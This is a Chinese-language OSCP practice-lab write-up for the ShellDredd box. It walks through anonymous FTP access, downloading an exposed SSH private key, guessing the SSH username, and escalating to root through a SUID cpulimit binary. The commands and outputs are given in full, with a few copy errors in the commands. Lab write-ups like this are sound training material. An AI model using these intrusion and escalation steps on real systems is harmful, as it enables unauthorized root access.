OSCP系列靶场-Esay-1

news2025/1/20 10:57:25

总结

getwebshell : ftp可匿名登录 → 发现隐藏文件夹 → 发现ssh密钥 → 猜解ssh用户名 → ssh密钥登录

提 权 思 路 : 发现suid权限文件 → cpulimit提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

图片

  • 启动靶机
    获取目标机器IP → 192.168.179.130

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.179.130

PORT      STATE SERVICE                                      
21/tcp    open  ftp                                          
61000/tcp open  unknown

图片


开放的端口-→21,61000

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,61000 192.168.179.130

PORT      STATE SERVICE VERSION                              
21/tcp    open  ftp     vsftpd 3.0.3    
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

探测了一下只有ftp以及ssh两个服务,估计要通过信息进行爆破

图片

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置

# 探测版本为vsftpd 3.0.3,配置文件位置大致如下
/etc/vsftpd.conf
21-FTP端口匿名登录测试(成功)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.179.130
Name: anonymous

图片

21-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# cd 查看存储的文件
ftp → cd .hannah
ftp → ls -al
# get 下载文件
ftp → get id_rsa

图片

21-FTP端口-PUT上传测试(失败)

测试是否可以利用PUT上传文件

# 建立一个文件尝试上传
touch text.txt
# put 上传文件
ftp → put text.txt

图片

漏洞利用-getwebshell

得到了一个id_rsa不知道是哪个用户的

base64解密获取用户名尝试

去掉id_rsa文件中的头与尾尝试base64解密

图片


利用base64进行解密尝试

echo 'b3Blbn.....wBAgMEBQ==
' | base64 -d

发现没显示全,决定借助网站解密

图片


利用在线网站得到的是root @#CTL{n}#CTL{n}

图片

root用户ssh密钥登录尝试(失败)

获取密钥之后指定密钥进行登录

sudo ssh -i id_rsa root @192.168.179.130 -p61000

图片

思考

尝试文件名用户

我们现在还有一个信息是之前ftp中的.hannah的文件名,尝试利用文件名当用户名进行登录

# .hannah失败
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片

# hannah显示id_rsa开的太大
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片


修改id_rsa权限后登录成功

chmod 600 id_rsa
sudo ssh -i id_rsa .hannah @192.168.179.130 -p61000

图片

内网遨游-getshell

FLAG1获取

hannah @ShellDredd:~$ find / -name local.txt 2→/dev/null
/home/hannah/local.txt
hannah @ShellDredd:~$ cat /home/hannah/local.txt
7374ce9b8ccf821ef5d620418751005c

图片

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
hannah @ShellDredd:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

hannah @ShellDredd:~$ uname -a
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
hannah @ShellDredd:~$ id
uid=1000(hannah) gid=1000(hannah) groups=1000(hannah),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

图片

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
hannah @ShellDredd:~$ sudo -l
-bash: sudo: command not found

发现不存在sudo

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
hannah @ShellDredd:~$ find / -perm -u=s -type f 2→/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd

图片

权限提升

Linux提权-suid之cpulimit提权

搜索suid文件权限

图片


发现一个不太常见的cpulimit,前去搜索https://gtfobins.github.io

图片


得到提权的命令

sudo install -m =xs $(which cpulimit) .
./cpulimit -l 100 -f -- /bin/sh -p

图片

# 修改一下使用命令进行提权,提权成功
hannah @ShellDredd:~$ cpulimit -l 100 -f -- /bin/sh -p
Process 1145 detected
# whoami
root

图片

FLAG2获取

cat /root/proof.txt

完结撒花~

图片

总结

ftp的时候也要有养成查看是否存在隐藏文件的习惯

每个文件名可能都有寓意,也要进行信息收集与记录

图片

没看够~?欢迎关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1269100.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android自定义瀑布流文字展示

在历史搜索功能中&#xff0c;我们常用到一个瀑布流展示控件&#xff0c;用来展示我们的搜索记录&#xff0c;所以就自定义一个吧&#xff01; 布局中代码示例 <com.example.mymodularization.measure.LinearCustomandroid:id"id/ll"android:layout_width"wr…

基于深度学习的点云三维目标检测方法综述

论文标题&#xff1a;基于深度学习的点云三维目标检测方法综述 作者&#xff1a;郭毅锋&#xff11;&#xff0c;&#xff12;†&#xff0c;吴帝浩&#xff11;&#xff0c;魏青民&#xff11; 发表日期&#xff1a; 2023 1 阅读日期 &#xff1a;2023 11 29 研究背景&…

一、Gradle 手动创建一个项目

文章目录 Gradle 介绍Gradle Wrapper Gradle 使用手动安装 Gradle初始化 Gradle 介绍 Gradle 是一个快速的、可信的、适应性强的自动化构建工具&#xff0c;它是开源的。它使用优雅的并且可扩展的描述性语言。其他的介绍在官网可以了解。 Gradle Wrapper 官方建议使用 Gradl…

vue3实现元素拖拽移动功能

效果图 实现拖拽移动 首先我们给需要实现功能的元素加一个draggable"true"让元素能够被拖拽 先来认识两个搭配draggable属性一起使用的事件——ondragstart和ondragend&#xff0c;它们的定义分别为&#xff1a; ①. ondragstart 事件在用户开始拖动元素或选择的文…

Python中使用matplotlib库绘图中如何给图形的图例设置中文字体显示

问题&#xff1a;当使用matplotlib绘图时遇到绘图&#xff0c;图例显示不出来中文字体 解决方式&#xff1a; 1&#xff09;加载字体管理库 from matplotlib.font_manager import FontProperties 2&#xff09;设置系统上字体的路径 font FontProperties(fname"C:\\W…

docker搭建node环境开发服务器

docker搭建node环境开发服务器 本文章是我自己搭建node环境开发服务器的过程记录&#xff0c;不一定完全适用所有人。根据个人情况&#xff0c;按需取用。 命名项目路径 为了方便cd到项目路径&#xff0c;将项目路径重命名&#xff0c;方便输入。 vim /etc/profile # 修改p…

Linux 下命令行启动与关闭WebLogic的相关服务

WebLogic 的服务器类型 WebLogic提供了三种类型的服务器&#xff1a; 管理服务器节点服务器托管服务器 示例和关系如下图&#xff1a; 对应三类服务器&#xff0c; 就有三种启动和关闭的方式。本篇介绍使用命令行脚本的方式启动和关闭这三种类型的服务器。 关于WebLogic 的…

如何通过“闻香”给葡萄酒分类?

有句话叫做“闻香识女人”&#xff0c;葡萄酒也如同美女&#xff0c;千娇百媚风情万种&#xff0c;所以通过“闻香”也可以给葡萄酒进行分类。 那么&#xff0c;云仓酒庄的品牌雷盛红酒分享葡萄酒都有哪些不同的香呢&#xff1f; 云仓酒庄是云仓酒庄的结合&#xff0c;也就是在…

深入了解Java8新特性-日期时间API之ZonedDateTime类

阅读建议 嗨&#xff0c;伙计&#xff01;刷到这篇文章咱们就是有缘人&#xff0c;在阅读这篇文章前我有一些建议&#xff1a; 本篇文章大概19000多字&#xff0c;预计阅读时间长需要10分钟以上。本篇文章的实战性、理论性较强&#xff0c;是一篇质量分数较高的技术干货文章&…

群晖安装portainer

一、下载镜像 打开【Container Manager】 ,搜索portainer&#xff0c;双击【6053537/portainer-ce】下载汉化版本 二、创建映射文件夹 打开【File Station】&#xff0c;在docker目录下创建【portainer】文件夹 三、开启SSH 群晖 - 【控制面板】-【终端机和SNMP】 勾选【启动…

oracle数据库节点一宕机重启后集群crsd服务没有起

13:18:55时节点一服务器宕机后&#xff0c;节点2心跳不通剔除了节点1 之后节点1服务器重启 集群设置自动拉起&#xff0c;但节点一启动后集群在crsd服务上迟迟没有起来 去查看了crsd的日志发现这一时间点心跳一直不通 在节点一起crsd服务&#xff0c;执行以下命令 #&#x…

Cytoscape学习教程

写在前面 今天分享的内容是自己遇到问题后,咨询社群里面的同学,帮忙解决的总结。 关于Cytoscape,对于做组学或生物信息学的同学基本是陌生的,可能有的同学用这个软件作图是非常溜的,做出来的网络图也是十分的好看,“可玩性”很高,就像前面分享的aPEAR包一样aPEAR包绘制…

0基础能不能转行做网络安全?网络安全人才发展路线

最近有同学在后台留言&#xff0c;0基础怎么学网络安全&#xff1f;0基础可以转行做网络安全吗&#xff1f;以前也碰到过类似的问题&#xff0c;想了想&#xff0c;今天简单写一下。 我的回答是先了解&#xff0c;再入行。 具体怎么做呢&#xff1f; 首先&#xff0c;你要确…

羊大师不说,你会知道酸奶也能加热吗?

羊大师不说&#xff0c;你会知道酸奶也能加热吗&#xff1f; 酸奶是一种非常受欢迎的健康食品&#xff0c;不仅可以冷饮&#xff0c;还可以热着喝哦&#xff01;你可能会好奇&#xff0c;酸奶热着喝会不会破坏其营养价值呢&#xff1f;别着急&#xff0c;让小编羊大师来为你解…

基于springboot的电影院管理系统的设计与实现 (含论文和源码视频导入教程)

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于springboot的电影院管理系统7拥有两种角色 管理员&#xff1a;用户管理、购票统计、电影管理、电影类型管理、放映厅管理、订单管理等 用户&#xff1a;登录注册、查看各种信息、购票…

Spark local模式的安装部署

安装与配置Spark开发环境。 相关知识 Apache Spark是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架&#xff0c;Spark拥有Hadoop MapReduce所具有的优点&#xff1b;但…

iOS上传ipa使用可视化工具Transporter

文章目录 前言一、Transporter二、Appuploader三、iTMSTransporter总结 前言 最近为了让非开发人员上传IPA文件&#xff0c;特意找了一些方法&#xff0c;至于以前的ApplicationUploader已经不能用了&#xff0c;下面介绍两个工具可以上传IPA包。 一、Transporter 1、操作简单…

QML Column Row 属性 pyside6

在 QML 中&#xff0c;Column 和 Row 是常用的布局元素&#xff0c;用于水平&#xff08;Row&#xff09;和垂直&#xff08;Column&#xff09;排列它们的子元素。以下是这两个元素的主要属性列表&#xff1a; Column 属性 spacing: 子元素之间的垂直间隔。width 和 height:…

Image Super-Resolution with Text Prompt Diffusion

Image Super-Resolution with Text Prompt Diffusion (Paper reading) Zheng Chen, Shanghai Jiao Tong University, arXiv23, Code, Paper 1. 前言 受多模态方法和文本提示图像处理进步的启发&#xff0c;我们将文本提示引入图像SR&#xff0c;以提供退化先验。具体来说&am…

Redis 发布订阅机制深入探索

Redis 的发布订阅&#xff08;pub/sub&#xff09;机制是一种消息传递模式&#xff0c;允许消息的发送者&#xff08;发布者&#xff09;和消息的接收者&#xff08;订阅者&#xff09;通过一个中介层&#xff08;频道&#xff09;进行通信&#xff0c;而无需彼此直接交互。以下…